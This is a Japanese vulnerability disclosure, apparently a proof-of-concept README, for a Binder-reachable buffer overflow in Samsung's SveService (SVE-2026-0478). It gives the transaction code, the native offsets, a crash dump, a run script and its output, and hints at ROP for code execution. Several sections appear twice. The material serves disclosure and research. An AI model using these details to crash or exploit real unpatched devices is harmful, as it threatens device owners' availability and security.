
Samsung SveServiceのバッファオーバーフローに対する最小限のPoC。Binderを介した領域外書き込みを実証し、特別な権限なしでAndroidシステムサービスをクラッシュさせます。
Samsung SMR 2026年5月
SVE-2026-0478(CVE-2026-21018)
影響を受けるバージョン: Android 14、15、16
開示状況: 非公開
SMR 2026年5月リリース1より前のSveServiceにおける領域外書き込みにより、ローカルの特権攻撃者が任意のコードを実行できる可能性があります。
このパッチは適切な入力検証を追加します。
Android 16 を実行している Samsung デバイスのシステムサービス SveService (com.sec.sve) におけるバッファオーバーフロー脆弱性。このサービスは system (UID 1000) として実行され、Binder 経由で特別な権限なしにアクセス可能です。
| コンポーネント | 役割 | バージョン |
|---|---|---|
sveservice.apk | Android サービス | API 36 |
libsvejni.so | ネイティブ ARM64 ライブラリ | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) では、パラメータ i18、i19、i20 (AIDL から i106/i107/i108、TRANSACTION_sveSetCodecInfo = 38 として受信) が、サイズ検証なしで memset、sub sp, sp, xN (alloca)、memcpy に直接渡されます。
類似の関数 (GetVersion、EnableSRTP、SetSRTPParams、SetGcmSrtpParams) は cmp w20, #0x1e; b.gt で検証します (> 30 バイトは拒否)。SetCodecInfo は一切検証しません。
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF) の場合の値Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
期待される出力:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
app_process 経由の ServiceManager.getService() がシェル UID として動作します。signatureOrSystem 権限は強制されません — このサービスは ServiceManager.addService() 経由で直接登録され、Android の権限メカニズムをバイパスします。0xFFFFFFFF を指定した memset は常にクラッシュします。RCE にはアドレスリーク + ROP が必要です (SM-A175F には PAC なし)。Android 16 を実行している Samsung デバイスのシステムサービス SveService (com.sec.sve) におけるバッファオーバーフロー脆弱性。このサービスは system (UID 1000) として実行され、Binder 経由で特別な権限なしにアクセス可能です。
| コンポーネント | 役割 | バージョン |
|---|---|---|
sveservice.apk | Android サービス | API 36 |
libsvejni.so | ネイティブ ARM64 ライブラリ | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) では、パラメータ i18、i19、i20 (AIDL から i106/i107/i108、TRANSACTION_sveSetCodecInfo = 38 として受信) が、サイズ検証なしで memset、sub sp, sp, xN (alloca)、memcpy の引数として直接使用されます。
類似の関数 (GetVersion、EnableSRTP、SetSRTPParams、SetGcmSrtpParams) は cmp w20, #0x1e; b.gt で検証します (> 30 バイトは拒否)。SetCodecInfo は一切検証しません。
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF) の場合の値cd poc
./build_and_run.sh
期待される出力:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
app_process 経由の ServiceManager.getService() がシェル UID として動作します。signatureOrSystem 権限は適用されません — このサービスは ServiceManager.addService() 経由で直接登録され、権限チェックをバイパスします。0xFFFFFFFF を指定した memset は常にクラッシュします。RCE にはアドレスリーク + ROP が必要です (SM-A175F には PAC なし)。| 操作 | 値 | 影響 |
|---|
(i18 + 15) & ~15 | 0 | 0 バイトを割り当てる |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 4 GB をゼロ化しようとする → SIGSEGV |
memcpy 用の sxtw(i18) | 0xFFFFFFFFFFFFFFFF | -1 の符号拡張 → 約 18 エクサバイト |
| 操作 | 値 | 影響 |
|---|
(i18 + 15) & ~15 | 0 | 0 バイトを割り当てる |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 4 GB をゼロ化しようとする → SIGSEGV |
memcpy 用の sxtw(i18) | 0xFFFFFFFFFFFFFFFF | -1 の符号拡張 → 約 18 エクサバイト |